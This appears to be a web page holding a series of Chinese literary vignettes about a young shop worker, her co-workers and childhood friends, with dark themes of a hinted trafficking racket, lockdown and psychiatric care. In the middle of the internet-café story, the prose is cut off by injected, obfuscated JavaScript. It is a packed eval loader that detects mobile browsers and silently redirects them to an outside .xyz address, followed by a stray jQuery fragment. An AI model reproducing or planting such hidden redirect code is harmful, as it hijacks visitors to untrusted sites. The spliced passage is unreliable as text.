《竞品与微波炉战争》
夜班结束,苏末晞推着生锈的自行车走出商场。车筐里塞着无印良品围裙,皱巴巴的像块抹布。
"哟,今天又穿''混搭风''?"
两个女同事踩着高跟鞋从她身边经过,H&M和ZARA的亮片裙在路灯下闪闪发亮。
苏末晞低头看了看自己的优衣库衬衫和GU裤子——这是她唯一的反抗。
员工食堂里,收银员对前一位员工笑容满面。轮到苏末晞时,嘴角立刻垮下:"员工折扣只能本人用。"
她默默掏出贴着"试用期"标签的临时工牌。身后传来窃窃私语:"听说她以前做直播的..."
休息室的微波炉发出空转的"叮"声。
"哎呀,你是不是忘了按开始?"女同事B晃着手腕上的MUJI纪念表。
苏末晞盯着自己冰凉的饭盒,突然想起监控室里那些转动的摄像头。
第二天清晨,店长李淼穿上制服时皱了皱眉。后颈的优衣库LOGO硌得发痒,但他只是调整了下领带,浑然不觉地走向晨会。
苏末晞站在货架间,猫又围巾无声地缠紧又松开。
《淮海中路755号》
风铃轻响,玻璃门被推开。
纪元穿着复古工装站在门口,马丁靴在地板上敲出不紧不慢的节奏。他黑色口罩上方,一双眼睛锐利地扫过货架。
"试衣间在哪儿?"
苏末晞抬头,手指向角落:"直走右转,七天无理由退换。"
纪元眯起眼看了她两秒,拎着白色绒衣走进去。
监控画面里,纪元在试衣间待了整整十五分钟。出来时,衣服领口沾着可疑的污渍。
"买了。"他把皱巴巴的衣服甩在收银台。
扫码时,他的手指在柜台上敲击《繁花惊鸿》的旋律。苏末晞的指尖微微一顿——这节奏和陈川直播时弹的一模一样。
下午,纪元再次推门而入。这次他没戴口罩,脸色阴沉。
"这衣服掉毛!"他把小票摔在柜台,"你们店员是不是故意推销瑕疵品?"
苏末晞低头检查。衣服内衬有轻微起球,但标签完好。
"七天无理由,可以退。"她平静地说。
纪元突然凑近,声音压得很低:"陈川说你''难搞'',果然没错。"
门口的黄发rapper朝纪元点头,两人交换的眼神像某种街头暗号。玻璃门外,淮海中路的霓虹开始闪烁。
[终]
(纪元的吉他包上,Gibson和Fender的贴纸并排贴着,像在无声宣告什么)
《苏州河畔》
端午节前夜,浑浊的河面漂着菖蒲碎叶。远处龙舟训练的鼓点闷响,像谁的心跳。
我坐在河堤上,反复折叠超市小票,折成小时候的纸青蛙。李东京用指甲划开粽叶,动作优雅得像给琵琶调弦。黄万千蹲在我的自行车旁,用手机闪光灯检查链条——假装得很认真。
"豆沙馅,"李东京递来粽子,"蒸的时候垫了松针。"
黄万千突然抢过:"我验验毒。"他掰开粽子,偷偷把馅心挖出来塞进口袋。我瞥见他口袋里露出的空鼠药袋——小时候用来吓外婆家鸡的那种。
自行车铃铛里卡着一颗玻璃珠,是幼儿园时黄万千塞给我的"赔罪礼"。去年我就发现了,一直没说。
"这破车..."黄万千踹了一脚车轮,突然愣住。
珠子里映出我们三人扭曲的倒影,像极了小灵通幼儿园汇演那天。他故意弹错钢琴伴奏让我摔倒,谢幕时却死死拽着我手腕——怕我哭出来被看见。
"鼓点比琵琶轮指慢半拍。"李东京望着远处的龙舟。
黄万千哼起《赛龙舟》:"你妈教错拍子了。"他的脚却悄悄把我折的纸青蛙踢进河里。
"走了,明天给你换变速器。"黄万千甩着车钥匙走远,钥匙串上挂着蝙蝠侠LOGO和小灵通校牌。
李东京拉我后退半步:"看河水。"
被踢下河的纸青蛙正漂过龙舟阴影,像二十年前那个六一儿童节,背景板上缺了一点的"童"字。
[终]
(黄万千的鼠药袋里,其实一直装的是淀粉)
《网吧、除夕与疯人院》
2018年除夕夜,网吧里烟雾缭绕。老刘蹲在主机箱旁修理电脑,后颈那道疤在显示器蓝光下泛着青紫。他递给角落里的李东京和苏末晞两瓶冰红茶:"通宵送饮料,老板定的规矩。"
冷凝的水珠顺着瓶身滑落,像冷汗。
监控画面里,老刘带着又一个"找工作"的农村女孩走进网吧仓库。出来时,女孩手腕多了条红绳——某劳务中介的"体检合格标记"。仓库后门,谢广军的银色五菱宏光静静停着,黑膜车窗映出扭曲的人影。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949908|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
无印良品员工休息室里,老刘突然抽搐起来。白熊咖喱泼在墙上,形成一幅扭曲的地图。
"谢广军说云南路线安全的!"他嘶吼着。
其他员工默默退开,只有苏末晞看见——他工牌背面贴着"上海市精神卫生中心"的预约单。
[终]
(老刘后颈的疤,是去年五菱宏光车祸时,被安全玻璃划伤的)
《铁围》
李淼递来文件时,新闻正在播报徐汇区管控通知。
"试用期没通过。"店长叹气,手机屏幕亮起最后一条朋友圈:三缺一的麻将桌,"我家楼下也被铁围栏封了。"
"铁围"二字让苏末晞手指一颤,胸前的十字架微微发烫。
走出商场时,街道突然扭曲。监控摄像头长出猩红的瞳孔,白熊咖喱广告牌在烈焰中重组为"欢迎来到地狱"的横幅。远处封控的铁栅栏延展成佛经里的大铁围山,每一根铁条都刻着《Jingle Bell》的乐谱。
狩衣在数据风暴中翻飞,她摸了摸脖颈上收紧的猫又围巾:
"原来综艺的结局...是封控啊。"
[终]
(便利店玻璃门上,最后倒映出的是无数个被分割的苏末晞,每个碎片都在不同的时空整理货架)
《没有光的向日葵》
天台风很大,苏末晞踮脚把蓝衬衫挂在晾衣绳上。水珠从衣角坠落,在水泥地上炸开细小的水花。
"家人们,今天教你们种向日葵..."
她下意识说出直播时的台词,手里却只有半包发霉的种子——搬家时从抽屉角落扫出来的。
便利店的关东煮冒着热气。
"送您的,樱花季限定。"店员微笑着递来最后一串萝卜。
苏末晞咬下去,尝到腐烂的芯。塑料樱花瓣粘在臼齿上,像卡住的笑。
地铁站的钢琴声飘来,《菊次郎的夏天》。琴盖上贴着小额贷款二维码。
她投下一枚硬币,听见琴箱深处传来药瓶碰撞的声响。
精神病院的花园里,老刘隔着铁丝网递来一朵向日葵。
"好看不?护士说能稳定情绪。"
锡纸花瓣反射着阳光,刺眼得像审讯室的灯。苏末晞接过花,指尖触到铁丝网的冰凉。
[终]
(那包发霉的种子,其实是她最后一次直播时观众寄来的)